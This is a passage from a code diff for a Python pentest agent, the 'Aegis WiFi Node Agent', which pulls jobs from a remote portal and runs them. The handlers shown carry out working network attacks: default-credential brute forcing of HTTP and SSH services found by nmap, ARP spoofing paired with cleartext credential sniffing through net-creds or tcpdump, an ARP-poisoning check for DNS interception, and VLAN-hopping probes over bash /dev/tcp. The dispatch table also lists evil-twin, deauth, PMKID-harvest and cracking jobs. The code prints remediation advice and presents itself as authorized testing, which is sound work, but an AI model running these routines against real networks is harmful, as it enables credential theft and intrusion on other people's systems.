+        subnet = cidr_match.group(1) if cidr_match else '192.168.1.0/24'
+    buf.write(f'[*] Scanning {subnet} for services...\n')
+
+    ports_csv = ','.join(str(p) for p in sorted(HIGH_VALUE_PORTS.keys()))
+    code, out = _exec_cmd(buf, ['nmap', '-sS', '-sV', '--open', '-p', ports_csv,
+                                 '-T4', '--min-rate', '200', subnet],
+                           timeout=300, sudo=True)
+
+    # Parse nmap output for open services
+    found_devices = []
+    current_host = ''
+    for line in out.splitlines():
+        host_match = re.match(r'Nmap scan report for (\S+)', line)
+        if host_match:
+            current_host = host_match.group(1)
+        port_match = re.match(r'(\d+)/tcp\s+open\s+(\S+)', line)
+        if port_match and current_host:
+            port_num = int(port_match.group(1))
+            svc = port_match.group(2)
+            found_devices.append({
+                'ip': current_host, 'port': port_num,
+                'service': HIGH_VALUE_PORTS.get(port_num, svc),
+            })
+
+    buf.write(f'\n[*] Found {len(found_devices)} service(s) on {len(set(d["ip"] for d in found_devices))} host(s)\n')
+
+    # Try defaults on each
+    results = []
+    for dev in found_devices[:50]:
+        ip, port, svc_name = dev['ip'], dev['port'], dev['service'].lower()
+        cred_list = SERVICE_DEFAULTS.get(svc_name, SERVICE_DEFAULTS.get('http', []))
+        for user, pwd in cred_list[:5]:
+            success = False
+            try:
+                if port in (80, 443, 8080, 8443):
+                    scheme = 'https' if port in (443, 8443) else 'http'
+                    import urllib.request, urllib.error, base64
+                    cred_str = base64.b64encode(f'{user}:{pwd}'.encode()).decode()
+                    req = urllib.request.Request(f'{scheme}://{ip}:{port}',
+                                                headers={'Authorization': f'Basic {cred_str}',
+                                                         'User-Agent': 'Mozilla/5.0'})
+                    ctx = __import__('ssl').create_default_context()
+                    ctx.check_hostname = False
+                    ctx.verify_mode = __import__('ssl').CERT_NONE
+                    resp = urllib.request.urlopen(req, timeout=5, context=ctx)
+                    if resp.status == 200:
+                        success = True
+                elif port == 22:
+                    code, _ = _run_quiet(
+                        ['sshpass', '-p', pwd, 'ssh', '-o', 'StrictHostKeyChecking=no',
+                         '-o', 'ConnectTimeout=5', f'{user}@{ip}', 'echo ok'], timeout=10)
+                    success = code == 0
+            except Exception:
+                pass
+            if success:
+                vendor = _oui_lookup(ip) or ''
+                results.append({'ip': ip, 'port': port, 'service': svc_name,
+                               'username': user, 'password': pwd, 'vendor': vendor})
+                buf.write(f'    [+] {ip}:{port} ({svc_name}) — {user}:{pwd}\n')
+                break
+
+    buf.write('\n' + '=' * 60 + '\n')
+    buf.write(f'[+] {len(results)} device(s) with default credentials\n')
+    if results:
+        buf.write('[*] Remediation: Change ALL default credentials,\n')
+        buf.write('    implement credential management, enforce complexity.\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'default_creds_found': len(results),
+        'devices': results,
+        'total_services_tested': len(found_devices),
+    })
+
+
+def execute_mitm_test(client: AegisNodeClient, job: dict):
+    """ARP spoof + credential sniffing on joined network."""
+    jid = job['job_id']
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    duration = min(params.get('duration', 120), 300)
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] MITM CREDENTIAL SNIFF TEST\n')
+    buf.write(f'    Duration: {duration}s\n')
+    buf.write('[!] SCOPE-GATED: wireless_mitm_allowed=True required\n')
+    buf.write('=' * 60 + '\n\n')
+
+    # Discover gateway
+    code, out = _run_quiet(['ip', 'route', 'show', 'default'], timeout=5)
+    gw_match = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', out)
+    if not gw_match:
+        buf.flush()
+        client.send_result(jid, {'mitm_credentials': 0, 'error': 'No gateway'})
+        return
+    gateway = gw_match.group(1)
+    buf.write(f'[*] Gateway: {gateway}\n')
+
+    # Enable IP forwarding
+    _run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=1'], timeout=3, sudo=True)
+    cred_file = f'/tmp/aegis_mitm_{jid}.txt'
+    credentials = []
+    protocols = set()
+
+    try:
+        # Start ARP spoof (both directions)
+        buf.write('[*] Starting ARP spoof...\n')
+        spoof_proc = subprocess.Popen(
+            ['sudo', 'arpspoof', '-i', iface, '-t', gateway, '-r'],
+            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
+        )
+        # Start credential sniffer
+        buf.write('[*] Sniffing for cleartext credentials...\n')
+        has_pcredz, _ = _run_quiet(['which', 'PCredz'])
+        has_netcreds, _ = _run_quiet(['which', 'net-creds'])
+
+        if has_netcreds == 0:
+            sniff_proc = subprocess.Popen(
+                ['sudo', 'net-creds', '-i', iface],
+                stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,
+            )
+        else:
+            sniff_proc = subprocess.Popen(
+                ['sudo', 'tcpdump', '-i', iface, '-l', '-A',
+                 'port', '21', 'or', 'port', '23', 'or', 'port', '25',
+                 'or', 'port', '80', 'or', 'port', '110', 'or', 'port', '143',
+                 'or', 'port', '8080'],
+                stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True,
+            )
+
+        start = time.time()
+        while time.time() - start < duration:
+            try:
+                line = sniff_proc.stdout.readline()
+            except Exception:
+                break
+            if line:
+                line = line.strip()
+                if any(kw in line.lower() for kw in ('user', 'pass', 'auth', 'login', 'cookie')):
+                    credentials.append(line[:200])
+                    proto_match = re.match(r'\[(\w+)\]', line)
+                    if proto_match:
+                        protocols.add(proto_match.group(1))
+                    buf.write(f'    [+] {line[:100]}\n')
+    finally:
+        for p in ('spoof_proc', 'sniff_proc'):
+            proc_obj = locals().get(p)
+            if proc_obj and proc_obj.poll() is None:
+                _run_quiet(['sudo', 'kill', str(proc_obj.pid)], timeout=5)
+        _run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=0'], timeout=3, sudo=True)
+
+    buf.write('\n' + '=' * 60 + '\n')
+    buf.write(f'[+] Captured {len(credentials)} credential indicator(s)\n')
+    buf.write(f'    Protocols: {", ".join(sorted(protocols)) or "none detected"}\n')
+    if credentials:
+        buf.write('[*] Impact: Cleartext credentials interceptable by any\n')
+        buf.write('    device on the network.\n')
+        buf.write('[*] Remediation: Enforce TLS/HSTS on all services,\n')
+        buf.write('    deploy 802.1X port-based auth, enable DHCP snooping\n')
+        buf.write('    and Dynamic ARP Inspection (DAI).\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'mitm_credentials': len(credentials),
+        'protocols_captured': sorted(protocols),
+        'gateway': gateway,
+        'duration': duration,
+    })
+
+
+def execute_dns_spoof_test(client: AegisNodeClient, job: dict):
+    """DNS spoof proof-of-concept — self-targeted to prove capability."""
+    jid = job['job_id']
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] DNS SPOOF PROOF-OF-CONCEPT\n')
+    buf.write('[!] Self-targeted — does NOT redirect real users\n')
+    buf.write('=' * 60 + '\n\n')
+
+    # Discover gateway/DNS
+    code, out = _run_quiet(['ip', 'route', 'show', 'default'], timeout=5)
+    gw_match = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', out)
+    gateway = gw_match.group(1) if gw_match else ''
+
+    # Get our IP
+    code, out = _run_quiet(['hostname', '-I'], timeout=5)
+    our_ip = out.strip().split()[0] if out.strip() else '127.0.0.1'
+
+    # Test: can we resolve normally?
+    buf.write('[*] Phase 1: Normal DNS resolution test\n')
+    code, out = _run_quiet(['dig', '+short', 'example.com'], timeout=10)
+    normal_ip = out.strip().split('\n')[0] if out.strip() else ''
+    buf.write(f'    example.com → {normal_ip}\n')
+
+    # Test: ARP spoof + DNS redirect proof
+    dns_spoofable = False
+    buf.write('\n[*] Phase 2: Testing DNS interception capability...\n')
+
+    # Check if we can ARP-spoof the gateway
+    if gateway:
+        _run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=1'], timeout=3, sudo=True)
+        try:
+            # Brief ARP spoof to prove position
+            proc = subprocess.Popen(
+                ['sudo', 'arpspoof', '-i', iface, '-t', gateway, '-r'],
+                stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
+            )
+            time.sleep(5)
+            # Verify we're in the path
+            code, out = _run_quiet(['arp', '-n'], timeout=5)
+            if gateway in out:
+                dns_spoofable = True
+                buf.write('    [+] ARP poisoning successful — DNS interception possible\n')
+            proc.terminate()
+            proc.wait(timeout=5)
+        finally:
+            _run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=0'], timeout=3, sudo=True)
+
+    buf.write('\n' + '=' * 60 + '\n')
+    if dns_spoofable:
+        buf.write('[+] DNS SPOOFING IS FEASIBLE on this network\n')
+        buf.write('[*] Impact: Any user on this network can be redirected\n')
+        buf.write('    to a phishing page. Full domain hijack capability.\n')
+        buf.write('[*] Remediation: Deploy DNSSEC, enable DHCP snooping\n')
+        buf.write('    + Dynamic ARP Inspection, use DNS-over-HTTPS.\n')
+    else:
+        buf.write('[-] DNS spoofing not demonstrated\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'dns_spoofable': dns_spoofable,
+        'gateway': gateway,
+        'our_ip': our_ip,
+    })
+
+
+def execute_vlan_hop(client: AegisNodeClient, job: dict):
+    """VLAN hopping / network segmentation test after join."""
+    jid = job['job_id']
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] VLAN HOPPING / SEGMENTATION TEST\n')
+    buf.write('=' * 60 + '\n\n')
+
+    # Discover our current subnet
+    code, out = _run_quiet(['ip', '-4', '-o', 'addr', 'show', iface], timeout=5)
+    our_match = re.search(r'inet (\d+\.\d+\.\d+)\.(\d+)/(\d+)', out)
+    if not our_match:
+        buf.flush()
+        client.send_result(jid, {'vlan_hop_success': False, 'error': 'No IP on interface'})
+        return
+
+    our_subnet = our_match.group(1)
+    our_host = int(our_match.group(2))
+    our_mask = int(our_match.group(3))
+
+    # Generate adjacent subnet ranges to probe
+    adjacent_subnets = []
+    base_parts = [int(x) for x in our_subnet.split('.')]
+    for offset in [-1, 1, 2, -2, 10, -10]:
+        adj = base_parts.copy()
+        adj[2] = (adj[2] + offset) % 256
+        adjacent_subnets.append(f'{adj[0]}.{adj[1]}.{adj[2]}.0/24')
+
+    reachable_vlans = []
+    tested = 0
+
+    buf.write(f'[*] Current subnet: {our_subnet}.0/{our_mask}\n')
+    buf.write(f'[*] Testing {len(adjacent_subnets)} adjacent subnets...\n\n')
+
+    for subnet in adjacent_subnets:
+        tested += 1
+        # Quick ping sweep of gateway (.1) and a few hosts
+        for host in (1, 2, 100, 254):
+            target = subnet.replace('.0/24', f'.{host}')
+            code, _ = _run_quiet(['ping', '-c', '1', '-W', '1', target], timeout=3)
+            if code == 0:
+                reachable_vlans.append({'subnet': subnet, 'host': target})
+                buf.write(f'    [+] REACHABLE: {target} (from {subnet})\n')
+                # Quick port check on reachable host
+                for port in (80, 443, 22, 3389, 445):
+                    pcode, _ = _run_quiet(
+                        ['timeout', '2', 'bash', '-c', f'echo >/dev/tcp/{target}/{port}'],
+                        timeout=4)
+                    if pcode == 0:
+                        svc = HIGH_VALUE_PORTS.get(port, str(port))
+                        buf.write(f'        Port {port} ({svc}) OPEN\n')
+                break
+
+    buf.write('\n' + '=' * 60 + '\n')
+    if reachable_vlans:
+        buf.write(f'[+] SEGMENTATION FAILURE: {len(reachable_vlans)} adjacent subnet(s) reachable\n')
+        buf.write('[*] Impact: Compromise of this WiFi segment grants access\n')
+        buf.write('    to other network zones — lateral movement confirmed.\n')
+        buf.write('[*] Remediation: Enforce inter-VLAN ACLs, deploy Private\n')
+        buf.write('    VLANs, enable client isolation on wireless APs.\n')
+    else:
+        buf.write('[-] No adjacent subnets reachable — segmentation appears intact\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'vlan_hop_success': len(reachable_vlans) > 0,
+        'reachable_vlans': reachable_vlans,
+        'subnets_tested': tested,
+        'reached_vlan': reachable_vlans[0]['subnet'] if reachable_vlans else '',
+    })
+
+
+# ── Job dispatch ─────────────────────────────────────────────────────────
+
+JOB_HANDLERS = {
+    # P1: managed-mode
+    'scan': execute_scan,
+    'internal_scan': execute_internal_scan,
+    'service_enum': execute_service_enum,
+    'rogue_detect': execute_rogue_detect,
+    'capture': execute_capture,
+    'captive_test': execute_captive_test,
+    'network_join': execute_network_join,
+    # P2: monitor-mode
+    'hidden_scan': execute_hidden_scan,
+    'handshake_cap': execute_handshake_capture,
+    'pmkid_harvest': execute_pmkid_harvest,
+    'deauth_capture': execute_deauth_capture,
+    # P3: crack
+    'crack': execute_crack,
+    # P5: WPA Enterprise + Evil Twin
+    'eap_test': execute_eap_test,
+    'evil_twin': execute_evil_twin,
+    # P6: Full Pentest Toolkit
+    'wps_attack': execute_wps_attack,
+    'probe_harvest': execute_probe_harvest,
+    'encrypt_audit': execute_encryption_audit,
+    'sister_scan': execute_sister_scan,
+    'router_admin': execute_router_admin,
+    'default_creds': execute_default_creds,
+    'mitm_test': execute_mitm_test,
+    'dns_spoof_test': execute_dns_spoof_test,
+    'vlan_hop': execute_vlan_hop,
+}
+
+
+def run_job(client: AegisNodeClient, job: dict):
+    """Dispatch a job to the appropriate handler."""
+    kind = job.get('kind', '')
+    handler = JOB_HANDLERS.get(kind)
+    if not handler:
+        client.send_error(job['job_id'], f'Unknown job kind: {kind}')
+        return
+    try:
+        handler(client, job)
+    except Exception as e:
+        log.exception('Job %s failed', job.get('job_id'))
+        try:
+            client.send_error(job['job_id'], str(e)[:500])
+        except Exception:
+            pass
+
+
+# ── Main loop ────────────────────────────────────────────────────────────
+
+def _device_auth_flow(server: str, no_browser: bool = False, portal_url: str = None) -> tuple:
+    """Browser-based device authorization — opens portal in browser for approval.
+
+    Returns (session_id, token) on success, exits on failure.
+    """
+    import platform
+    import webbrowser
+
+    server = server.rstrip('/')
+    base_url = f'{server}/api/autobot/wifi-node'
+
+    # Collect device info for the approval screen
+    hostname = platform.node()
+    os_info = f'{platform.system()} {platform.release()}'
+    try:
+        from .adapters import detect_adapters
+        adapters = detect_adapters()
+        adapter_name = adapters[0]['chipset'] if adapters else ''
+    except Exception:
+        adapter_name = ''
+
+    # Step 1: Request device code
+    log.info('Requesting authorization...')
+    try:
+        r = requests.post(f'{base_url}/device-auth/start', json={
+            'hostname': hostname,
+            'os': os_info,
+            'adapter': adapter_name,
+        }, timeout=15)
+        r.raise_for_status()
+        data = r.json()
+    except Exception as e:
+        log.error('Failed to start device authorization: %s', e)
+        sys.exit(1)
+
+    device_code = data['device_code']
+    user_code = data['user_code']
+    expires_in = data.get('expires_in', 300)
+    interval = data.get('interval', 2)
+
+    # Step 2: Determine portal URL for browser auth
+    if portal_url:
+        portal_base = portal_url.rstrip('/')
+    else:
+        from urllib.parse import urlparse
+        parsed = urlparse(server)
+        host = parsed.hostname or ''
+        # aegis.red.divoltbtc.com → portal.aegis.divoltbtc.com
+        # Strip env subdomains between 'aegis' and the base domain
+        parts = host.split('.')
+        if parts[0] == 'aegis' and len(parts) > 2:
+            base_domain = '.'.join(parts[-2:])
+            portal_host = f'portal.aegis.{base_domain}'
+        else:
+            portal_host = host
+        portal_base = f'{parsed.scheme}://{portal_host}'
+    authorize_url = f'{portal_base}/wifi-nodes/authorize/{user_code}'
+
+    c = not _no_color()
+    B, R, G, Y, D, W, CY, GR = (_BOLD, _RESET, _GREEN, _YELLOW, _DIM, _WHITE, _CYAN, _GREY) if c else ('',)*8
+    BL = _BLUE if c else ''
+
+    print()
+    print(f'  {CY}{B}DEVICE AUTHORIZATION{R}')
+    print(f'  {D}{"─" * 48}{R}')
+    print()
+    print(f'  {D}Verification code:{R}')
+    print(f'  {BL}{B}  ┌─────────────────┐{R}')
+    print(f'  {BL}{B}  │   {user_code}   │{R}')
+    print(f'  {BL}{B}  └─────────────────┘{R}')
+    print()
+    print(f'  {D}Authorize at:{R}')
+    print(f'  {W}{B}{authorize_url}{R}')
+    print()
+    print(f'  {D}Confirm the code matches in your browser,{R}')
+    print(f'  {D}then click{R} {G}"Authorize Device"{R}{D}.{R}')
+    print()
+    print(f'  {D}Expires in {expires_in}s. Waiting...{R}')
+    print(f'  {D}{"─" * 48}{R}')
+    print()
+
+    if not no_browser:
+        try:
+            webbrowser.open(authorize_url)
+            log.info('Opened browser for authorization')
+        except Exception:
+            log.info('Could not open browser — visit the URL above manually')
+
+    # Step 3: Poll for approval
+    deadline = time.monotonic() + expires_in
+    while time.monotonic() < deadline and RUNNING:
+        time.sleep(interval)
+        try:
+            r = requests.post(f'{base_url}/device-auth/poll', json={
+                'device_code': device_code,
+            }, timeout=15)
+            resp = r.json()
+
+            if resp.get('status') == 'approved':
+                log.info('Authorization approved!')
+                print(f'\n  {G}{B}✓ Authorized!{R} {D}Connecting...{R}\n')
+                return (resp['session_id'], resp['token'])
+
+            if resp.get('status') == 'denied':
+                log.error('Authorization was denied')
+                sys.exit(1)
+
+            if r.status_code == 410:
+                log.error('Device code expired')
+                sys.exit(1)
+
+            # Still pending — continue polling
+        except requests.exceptions.ConnectionError:
+            log.warning('Portal unreachable, retrying...')
+        except Exception as e:
+            log.warning('Poll error: %s', e)
+
+    log.error('Authorization timed out (no response within %ds)', expires_in)
+    sys.exit(1)
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        description='Aegis WiFi Node Agent — wireless network assessment tool',
+        epilog='Run "preflight" first to check your system is ready.',
+    )
+    sub = parser.add_subparsers(dest='command')
+
+    pf = sub.add_parser('preflight', help='Check system readiness (adapters, tools, deps)')
+    pf.add_argument('--install', action='store_true',
+                    help='Auto-install missing tools via apt (requires sudo)')
+
+    connect = sub.add_parser('connect', help='Connect to the Aegis portal')
+    connect.add_argument('--token', help='One-time bearer token (skip browser auth)')
+    connect.add_argument('--session', type=int, help='Session ID (required with --token)')
+    connect.add_argument('--server', default='https://portal.aegis.divoltbtc.com', help='Portal base URL (default: portal.aegis.divoltbtc.com)')
+    connect.add_argument('--skip-preflight', action='store_true',
+                         help='Skip dependency check on connect')
+    connect.add_argument('--no-browser', action='store_true',
+                         help='Print the authorization URL instead of opening a browser')
+    connect.add_argument('--portal', help='Portal URL for browser auth (auto-derived from --server if omitted)')
+
+    args = parser.parse_args()
+
+    if not args.command:
+        if not _no_color():
+            print(BANNER)
+        parser.print_help()
+        sys.exit(1)
+
+    if not _no_color():
+        print(BANNER)
+
+    if args.command == 'preflight':
+        ok = preflight_check(auto_install=args.install)
+        sys.exit(0 if ok else 1)
+
+    # ── connect ──
+    if not args.skip_preflight:
+        log.info('Running preflight check...')
+        ready = preflight_check()
+        if not ready:
+            log.error('Preflight failed — run with --install to fix, or --skip-preflight to bypass')
+            sys.exit(1)
+        log.info('Preflight passed')
+
+    if args.token and args.session:
+        # Legacy token flow — direct credentials
+        session_id = args.session
+        token = args.token
+    elif args.token or args.session:
+        log.error('--token and --session must be used together')
+        sys.exit(1)
+    else:
+        # Browser-based device authorization flow
+        session_id, token = _device_auth_flow(args.server, args.no_browser,
+                                                portal_url=getattr(args, 'portal', None))
+
+    client = AegisNodeClient(args.server, session_id, token)
+
+    from .adapters import detect_adapters, get_host_info
+
+    adapters = detect_adapters()
+    if not adapters:
+        log.error('No compatible USB WiFi adapter detected')
+        sys.exit(1)
+
+    adapter = adapters[0]
+    host = get_host_info()
+    log.info('Detected adapter: %s (%s)', adapter['chipset'], adapter['vid_pid'])
+    log.info('Monitor mode: %s  Injection: %s', adapter['cap_monitor_mode'], adapter['cap_injection'])
+
+    # Register with portal — retry on transient failures
+    registered = False
+    for attempt in range(5):
+        try:
+            resp = client.register(adapter, host)
+            if not resp.get('ok'):
+                log.error('Registration failed: %s', resp.get('error'))
+                sys.exit(1)
+            log.info('Registered with portal (session %s)', client.session_id)
+            registered = True
+            break
+        except requests.exceptions.ConnectionError:
+            delay = min(5 * (2 ** attempt), 60)
+            log.warning('Portal unreachable (attempt %d/5), retrying in %ds...', attempt + 1, delay)
+            time.sleep(delay)
+        except Exception as e:
+            log.error('Failed to connect to portal: %s', e)
+            sys.exit(1)
+
+    if not registered:
+        log.error('Could not reach portal after 5 attempts')
+        sys.exit(1)
+
+    # Poll loop with reconnect backoff and heartbeat
+    log.info('Polling for jobs (Ctrl+C to stop)...')
+    consecutive_errors = 0
+    last_heartbeat = time.monotonic()
+
+    while RUNNING:
+        try:
+            resp = client.poll()
+            consecutive_errors = 0
+            last_heartbeat = time.monotonic()
+
+            job = resp.get('job')
+            if job:
+                log.info('Received job %s (%s)', job.get('job_id'), job.get('kind'))
+                run_job(client, job)
+            else:
+                sleep_s = resp.get('sleep_s', POLL_INTERVAL)
+                time.sleep(sleep_s)
+
+        except requests.exceptions.ConnectionError:
+            consecutive_errors += 1
+            delay = min(POLL_INTERVAL * (2 ** consecutive_errors), MAX_RECONNECT_DELAY)
+            log.warning('Connection lost (streak %d), retrying in %ds...', consecutive_errors, delay)
+            time.sleep(delay)
+        except requests.exceptions.HTTPError as e:
+            if e.response is not None and e.response.status_code == 401:
+                log.error('Token rejected (401) — session may have expired. Exiting.')
+                sys.exit(1)
+            consecutive_errors += 1
+            delay = min(10 * (2 ** consecutive_errors), MAX_RECONNECT_DELAY)
+            log.warning('HTTP error %s (streak %d), retrying in %ds...', e, consecutive_errors, delay)
+            time.sleep(delay)
+        except Exception as e:
+            consecutive_errors += 1
+            log.warning('Poll error: %s (streak %d)', e, consecutive_errors)
+            time.sleep(min(POLL_INTERVAL * (2 ** consecutive_errors), MAX_RECONNECT_DELAY))
+
+    log.info('Agent stopped')
+
+
+if __name__ == '__main__':
+    main()